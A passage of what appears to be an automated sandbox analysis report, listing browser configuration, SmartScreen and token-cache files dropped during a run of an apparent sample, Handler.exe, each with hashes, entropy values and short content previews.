Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e3f4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.029531180812422
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclTTMQhRdzY:YWLSGTt1o9LuLgfGBPAzkVj/T8lEQhRK
MD5:	33BAD9CA16A028321E5B7A4582EE8E65
SHA1:	80278F1F0A78A6A4FD28F6744C99D355F8F40475
SHA-256:	29FCE6BBD8912A049A6AB682399FAAED2D8C21E29BAAFA09DB445789096ECB04
SHA-512:	A43AA6C4D4653D5374800947BA54FEA991CE63005C5175197BB7967F89447D9213AA6E0A3C06A83953FFA78A7EA2E6FA1869FBA5FC071A56A6CD94F57D8CDE66
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1736896710595488}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ce3127fc-c88e-4c8c-b6d7-3a390bf040dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728547960818
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+ctbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEM6ptbz8hu3VlXr4CRo1
MD5:	2E7578F12D260E898E434B25FBAFF517
SHA1:	2D9C379564719FF2D435F0ED5269C0FE4FFF851F
SHA-256:	050AF1D8307529092C75EA3C91002574C4792D5E9C560546A6D8449A46777E0A
SHA-512:	63033FED6511923978682B49FCDF801FBE59003B497CD1B5E8E4D4FAAB239B4130BBD1EAD64387CCC77CE7917DA52CBBCA8DD0EB6F56DD019635053F325FEB52
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8311923487262045
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxp7xl9Il8uKOY0DknLjLKaogteBd1rc:mgfYIL006aoO
MD5:	C78379386818C21B0E798994853CEC46
SHA1:	772058BE92B008E39D95CC3A3972CF1B819A4DB8
SHA-256:	DDD7542908ECDC46ED30DE7B5F6E0F9D8EA0546D26EFCA35C950BB61D4F8FCA6
SHA-512:	78FF818976C3E389C1CC263DF2E0FEA46F4EC9B97BE387BBFD52421A0AE04488218D739CEACF030ED7A31D029E3C36AF2F956C3BDB7FF2C669F9FC1CA70169E8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.M.J.y.T.v.h.l.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.q.l.r.n.M.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9948720119760903
Encrypted:	false
SSDEEP:	96:lJYIAa7HvgYs6aKSB0D1OQwVkMZoFGMKlZ9jqOE14gA:7fj7IYaKS+JOP3XjjNE1NA
MD5:	47FB31507D76083034B85B4C459D136F
SHA1:	A16D684EBA8169908D1061995A4F934077FA354E
SHA-256:	B48C4AE44C8CA924F1589352BAABFD8DAFCBD20ABCFCB9B325DCDF51296A7739
SHA-512:	ECFAF316B84D42B5334B88AC075DC9B3C7F0D460CD7D73D584259E38E6FD83AFD920131605841F7894394B1CB154D5F9418E2EE6D7F568F5CC6F37AEBBF232C3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.k.a.P.N.P.B.l.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.q.l.r.n.M.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9030467559337563
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xYpxl9Il8uKAXwxT78SXA2Epwp9CpbJt6wnXxCFvbd/vc:aAYIBpQ2R6nX8vm
MD5:	5EAE2A4AF4CB32C4AB88ED7108F48CDE
SHA1:	34DABA735EEEAE6B3EA5BAA9929BF24E62096127
SHA-256:	7B0BC9726A1992D05DBD1513E261ABD7E5A507C3813FCA8D4D442FE9D4D23E82
SHA-512:	5B2E09B62CED5383FC08A13CA4FA003A665558AD726058C12BAC1EB8F77DAD3B2F1EE0D35D8B9EB6BBF586B57A677003228567853FFCDF06B24582A2FF932493
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".s./.9.I.Z.c.G.E.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.q.l.r.n.M.l.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.400001402617111
Encrypted:	false
